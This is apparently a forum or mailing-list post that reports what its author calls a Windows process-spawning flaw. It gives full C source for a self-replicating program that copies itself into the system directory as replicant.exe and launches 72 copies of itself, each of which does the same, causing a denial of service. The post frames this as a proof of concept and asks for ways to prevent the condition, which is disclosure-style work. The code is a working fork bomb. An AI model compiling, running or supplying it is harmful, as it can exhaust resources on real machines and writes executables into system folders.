Introduction
The Windows family is inherantly flawed in it's control of process execution on an OS global level. After discovering a rather nasty error in a recent program, I was able to determine that it is possible to enter into an EXTREME multiple replication condition within Windows which is similar to the Infinate Spawning Denial of Service attack that is able to be performed using some simple javascript containing a while loop under Internet Explorer 6 and all previous IE releases that incorporated javascript. This however uses native win32 code making it FAR more deadly in it's capability. When clocked during profiling phases, this application has a potential to be able to spawn 72 copies of itself per second. When this is coupled with the fact that per each instance of teh application executed, 72 more copies will be generated quickly consuming system resources. I have included the full source code for proof of concept. I have left the code in an uncompiled state so as to prevent accidental execution. Compile at your own risk. I invite your comments. Source code follows below.
#include "stdafx.h"
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
LPSTR lpThisModule = new TCHAR[MAX_PATH];
GetModuleFileName(NULL, lpThisModule, MAX_PATH);
LPSTR lpSystemPath = new TCHAR[MAX_PATH];
GetSystemDirectory(lpSystemPath, MAX_PATH);
char szReplicantName[16] = "\\replicant.exe";
strcat(lpSystemPath, szReplicantName);
CopyFile(lpThisModule, lpSystemPath, FALSE);
int WhileLoopController = 1;
int WhileLoopIterator = 0;
while(WhileLoopController == 1)
{
WinExec(lpSystemPath, 0);
WhileLoopIterator++;
if( WhileLoopIterator >= 72 )
{
WhileLoopController = 0;
}
}
return 0;
}
I find it fairly assinine that the microsoft os development teams have not added a facility to my knowledge to any windows os that prevents this rapid spawn condition from taking place. we're expected to pay out the wazoo for a solid OS, yet we get this. if anyone has any insight on ways to prevent this condition, I'd be interested in hearing them.